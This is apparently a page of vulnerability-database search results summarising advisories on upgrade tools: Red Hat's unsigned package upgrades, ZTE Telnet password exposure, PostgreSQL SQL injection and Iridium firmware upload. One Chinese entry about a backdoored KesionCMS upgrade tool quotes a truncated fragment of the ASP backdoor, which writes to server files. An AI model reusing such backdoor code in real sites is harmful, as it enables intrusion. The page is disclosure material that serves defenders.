45 matches found
CVE-2014-3585
redhat-upgrade-tool: Does not check GPG signatures when upgrading versions...
Design/Logic Flaw
redhat-upgrade-tool: Does not check GPG signatures when upgrading versions...
CVE-2014-3585
redhat-upgrade-tool: Does not check GPG signatures when upgrading versions...
CVE-2014-3585
The CVE-2014-3585 entry concerns the Red Hat redhat-upgrade-tool, which does not verify GPG signatures when upgrading versions. This is described as enabling potential forgery or MitM-style abuse, with mitigations discussed in multiple sources. The impact is characterized as high (critical/remote...
PT-2019-7094 · Red Hat · Redhat-Upgrade-Tool
Name of the Vulnerable Software and Affected Versions: redhat-upgrade-tool affected versions not specified Description: The issue is related to the redhat-upgrade-tool not checking GPG signatures when upgrading versions. Recommendations: At the moment, there is no information about a newer versio...
CVE-2014-3585: Improper Verification of Cryptographic Signature
redhat-upgrade-tool: Does not check GPG signatures when upgrading versions...
PT-2019-16574
Name of the Vulnerable Software and Affected Versions ZTE MF910S affected versions not specified Description An information disclosure issue was reported in the MF910S product, where the one-click upgrade tool can obtain the Telnet remote login password. If Telnet is enabled, an attacker can...
CVE-2019-3422: Exposure of Sensitive Information to an Unauthorized Actor
The Sec Consult Security Lab reported an information disclosure vulnerability in MF910S product to ZTE PSIRT in October 2019. Through the analysis of related product team, the information disclosure vulnerability is confirmed. The MF910S product's one-click upgrade tool can obtain the Telnet remo...
Man-in-the-Middle (MitM)
redhat-upgrade-tool is vulnerable to man-in-the-middle MitM attack. The tool does not implement proper GPG signature verification when performing package installations, allowing an attacker to perform man-in-the-middle attacks against the client...
postgresql: SQL injection in pg_upgrade and pg_dump, via CREATE TRIGGER ... REFERENCING
A SQL Injection flaw has been discovered in PostgreSQL server in the way triggers that enable transition relations are dumped. The transition relation name is not correctly quoted and it may allow an attacker with CREATE privilege on some non-temporary schema or TRIGGER privilege on some table to...
PostgreSQL 'pg_upgrade' and 'pg_dump' Functions SQL Injection Vulnerability
PostgreSQL is a free object-relational database management system developed by the PostgreSQL development group. The system supports most of the SQL standards and provides many other features, such as foreign keys, triggers, views, and so on. A SQL injection vulnerability exists in the 'pgupgrade...
USN-3818-1 postgresql-10 vulnerability
It was discovered that PostgreSQL incorrectly handled certain trigger definitions when running pgupgrade or pgdump. A remote attacker could possibly use this issue to execute arbitrary SQL statements with superuser privileges...
ALPINE-CVE-2018-16850
postgresql before versions 11.1, 10.6 is vulnerable to a to SQL injection in pgupgrade and pgdump via CREATE TRIGGER ... REFERENCING. Using a purpose-crafted trigger definition, an attacker can cause arbitrary SQL statements to run, with superuser privileges...
redhat-upgrade-tool: does not check GPG signatures on package installation
It was found that the redhat-upgrade-tool did not check GPG signatures on downloaded and installed packages during the upgrade process...
Important: Red Hat Bug Fix Advisory: redhat-upgrade-tool bug fix update
An updated redhat-upgrade-tool package that fixes one bug is now available for Red Hat Enterprise Linux 7. The Red Hat Upgrade Tool is used for performing an in-place upgrade of the current system to the next major version of Red Hat Enterprise Linux. It determines what packages are needed for th...
kesionV8.0升9.0工具中被修改过加入后门
简要描述： 要是用到V8.0升9.0工具就会被入侵 详细说明： 直接从官方下载来的 KesionCMS V8.0升9.0工具 。 漏洞证明： 代码inc/include.asp和index.asp最后面的代码 这代码可干的事很多吧。 " Response.End End If StrLogText=StrLogText& sender Set Lzwudi=Server.CreateObject"Scripting.FileSystemObject" Set Lenovo=Lzwudi.OpenTextFileServer.MapPath"."&""&StrLogFile,8,True,...
[SECURITY] Fedora 21 Update: fedup-0.9.0-2.fc21
fedup is the Fedora Upgrade tool...
Important: Red Hat Bug Fix Advisory: redhat-upgrade-tool bug fix update
An updated redhat-upgrade-tool package that fixes several bugs is now available for Red Hat Enterprise Linux 6. The Red Hat Upgrade Tool is used for performing an in-place upgrade of your current system to the next major version of Red Hat Enterprise Linux. It determines what packages are needed...
redhat-upgrade-tool: does not check GPG signatures on package installation
It was found that the redhat-upgrade-tool did not check GPG signatures on downloaded and installed packages during the upgrade process...
CVE-2014-0327
The Terminal Upgrade Tool in the Pilot Below Deck Equipment BDE and OpenPort implementations on Iridium satellite terminals allows remote attackers to execute arbitrary code by uploading new firmware to TCP port 54321...